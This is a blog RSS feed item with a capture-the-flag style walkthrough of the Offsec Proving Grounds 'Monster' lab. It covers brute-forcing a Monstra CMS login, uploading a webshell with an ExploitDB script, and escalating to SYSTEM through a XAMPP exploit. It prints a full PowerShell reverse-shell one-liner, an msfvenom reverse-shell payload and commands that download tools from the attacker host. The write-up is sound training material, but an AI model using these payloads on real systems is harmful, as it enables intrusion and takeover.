<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Anushka Virgaonkar on Medium]]></title>
        <description><![CDATA[Stories by Anushka Virgaonkar on Medium]]></description>
        <link>https://medium.com/@anushka18599?source=rss-291dc790087a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_acczrGX4TuGbKsK_HoC_A.png</url>
            <title>Stories by Anushka Virgaonkar on Medium</title>
            <link>https://medium.com/@anushka18599?source=rss-291dc790087a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:16:12 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@anushka18599/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Offsec Proving Grounds Walkthrough — Monster]]></title>
            <link>https://medium.com/@anushka18599/offsec-proving-grounds-walkthrough-monster-774a871c6ad7?source=rss-291dc790087a------2</link>
            <guid isPermaLink="false">https://medium.com/p/774a871c6ad7</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Anushka Virgaonkar]]></dc:creator>
            <pubDate>Thu, 19 Jun 2025 21:58:55 GMT</pubDate>
            <atom:updated>2025-06-19T21:58:55.130Z</atom:updated>
            <content:encoded><![CDATA[<h3>Offsec Proving Grounds Walkthrough — Monster</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3LBzBjjeI0l7n1bcK9rdRA.png" /></figure><p>Starting with the fundamentals, I launched comprehensive TCP and UDP port scans to identify all open ports on the target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gmRcimUZXDvGGnovWgLeYA.png" /></figure><p>The scans revealed port 80 was open, immediately drawing attention to potential web application vectors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJyoW7yZtDb4M20iq7DJ5Q.png" /></figure><p>Navigating to the web application, I was greeted with a fairly static page offering minimal functionality to explore. Time to dig deeper with directory enumeration.</p><pre>gobuster dir -u http://192.168.184.180 -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rluuwFj7GQ-5w1VJl6JKtA.png" /></figure><p>Gobuster revealed the /blog endpoint, which proved to be significantly more interesting than the initial landing page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YMptSbQ81tWZDNXXzVUDA.png" /></figure><p>The /blog directory provided a treasure trove of information. Most notably, the server was running <strong>Monstra CMS 3.0.4.</strong></p><p>A quick search through searchsploit revealed numerous vulnerabilities for this version:</p><pre>searchsploit monstra</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oyX7ety10jQ6VEa17Dl3QA.png" /></figure><p>The login link directed to <a href="http://monster.pg/blog/users/login%60">http://monster.pg/blog/users/login</a>, so I added monster.pg to /etc/hosts to ensure proper resolution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qj_m_O9ycLVB-ew_2-sj_w.png" /></figure><p>Default credentials failed, so I pivoted to creating a custom wordlist using CeWL:</p><pre>cewl http://192.168.184.180:80/ | grep -v CeWL &gt; custom-wordlist.txt</pre><p>Using Burp Suite’s Intruder, I captured an authentication request and configured it to brute force the password field with my custom wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dcdiHBPFROEfHlq-Um9p7Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zPRY6TSyIH6CGJEe6bJ-RQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bs8zizx_DmCM3lVo7k83sg.png" /></figure><p>While most invalid credentials returned HTTP 200 responses, one password stood out with a HTTP 302 redirect: <em>wazowski</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0OytXfj0rnHEKosJYoMIOA.png" /></figure><h3>Two Paths to Victory</h3><p>From here, I discovered two viable attack vectors:</p><h4>Path 1: Direct RCE via Python Exploit</h4><p>Searching for Monstra 3.0.4 exploits, I found exploit 52038 from ExploitDB:</p><pre>searchsploit -m 52038</pre><p><strong>Note</strong>: The downloaded script lacks proper indentation, requiring manual formatting before execution.</p><p>The exploit works by:</p><p>1. Authenticating with provided credentials<br>2. Extracting the CSRF token from the admin panel<br>3. Uploading a PHP webshell via the theme chunk functionality<br>4. Providing remote code execution capabilities</p><p>Executing the script:</p><pre>python3 52038.py http://monster.pg/blog admin wazowski</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RjUc-G1YWbDtdef1geKSrw.png" /></figure><p>The exploit successfully created a webshell accessible at the specified URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bWUysBxyuj0kMiLa-h7ymg.png" /></figure><p>From here, I obtained a reverse shell using a PowerShell payload from <a href="https://revshells.com/">revshells.com</a>:</p><pre>```powershell<br>powershell -nop -c &quot;$client = New-Object System.Net.Sockets.TCPClient(&#39;KALI_IP&#39;,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + &#39;PS &#39; + (pwd).Path + &#39;&gt; &#39;;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-1Tq7aCRJ20-yhXoYYnwmQ.png" /></figure><p>This provided a shell as the <em>mike</em> user, with the local flag located on Mike’s desktop.</p><h4>Path 2: Database Backup and Hash Cracking</h4><p>Alternatively, I navigated to <a href="http://monster.pg/blog/admin/index.php?id=backup`">http://monster.pg/blog/admin/index.php?id=backup</a> and opted for creating a backup. A backup was created of the entire C:\xampp directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7yoMSmjRuDdtbuQ6M4OJ3Q.png" /></figure><p>This backup contained the database file at C:\xampp\htdocs\blog\storage\database\users.table.xml with password hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s3WJzuYT48553vd-7MfrQQ.png" /></figure><p>According to <a href="https://simpleinfoseccom.wordpress.com/2018/05/27/monstra-cms-3-0-4-unauthenticated-user-credential-exposure/">this detailed analysis</a>, the hashes use double MD5 with salting. The salt was discovered in C:\xampp\htdocs\blog\boot\defines.php as YOUR_SALT_HERE(the default value).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*Y4h0saAoQ7OWYzVm4823NQ.png" /></figure><p>Examining C:\xampp\htdocs\blog\engine\Security.php revealed the hashing algorithm:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eRqp9ehgJuUemIm9-qk-ew.png" /></figure><p>So it’s double MD5 with salt; a format perfect for Hashcat mode 2600. To crack Mike’s password hash, I created a rule file that will append the salt:</p><pre>$Y $O $U $R $\x5F $S $A $L $T $\x5F $H $E $R $E</pre><p>The ${character} format appends a character to the sample passwords in the wordlist, and hex characters are used to escape the special character _.</p><p>Running Hashcat:</p><p>hash.txt: contains the password hash of mike <em>844ffc2c7150b93c4133a6ff2e1a2dba</em></p><p>rule.txt: the rule file</p><pre>hashcat -m 2600 hash.txt — wordlist rockyou.txt -r rule.txt</pre><p>With these credentials, I successfully RDP’d into the machine as <em>mike</em>, again finding the local flag on his desktop.</p><h3>Privilege Escalation</h3><p>Time for the real challenge — escalating to SYSTEM privileges. I deployed WinPEAS for enumeration:</p><pre><br># Host the file<br>python3 -m http.server 80<br><br># Download on target<br>iwr -uri http://KALI_IP:80/winPEASx64.exe -Outfile winPEASx64.exe</pre><p>WinPEAS didn’t reveal obvious escalation vectors, but it revealed the only interesting running process C:\xampp\apache\bin\httpd.exe . Checking C:\xampp\properties.ini showed XAMPP version 7.3.10.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*uGfUWcOvdskDf2U1_BFSsQ.png" /></figure><p>searchsploit revealed a promising exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E0uqO6mWecef1gqEPB_zeQ.png" /></figure><pre>searchsploit -m 50337</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TOQMl-xAQq8FzLVLEAO2qA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*4__d7dgn8gKyISEZiOdaog.png" /></figure><p>This exploit replaces the XAMPP Control Panel’s text editor with a malicious executable. Perfect!</p><p>First, I generated a reverse shell payload:</p><pre><br>msfvenom -p windows/shell_reverse_tcp LHOST=KALI_IP LPORT=80 -f exe -o shell.exe</pre><p>Uploaded it to the target:</p><pre>iwr -uri http://KALI_IP:80/shell.exe -Outfile shell.exe</pre><p>Following the exploit’s PowerShell commands to replace the xampp-control.ini configuration file, I successfully obtained a reverse shell as SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e_acOe743W3tNm1KmsZ0QQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H-hioTP5bnZ6Bfo2Dvas8A.png" /></figure><p>The proof flag was present on the Administrator’s desktop, completing the full compromise of the Monster machine.</p><h3>Key Takeaways</h3><ol><li><strong>Custom wordlists</strong> using <strong>CeWL</strong> can be incredibly effective for credential attacks</li><li><strong>Multiple attack paths</strong> may exist for targets</li><li><strong>Service-specific exploits</strong> (like the XAMPP privilege escalation) can provide unexpected escalation vectors</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=774a871c6ad7" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>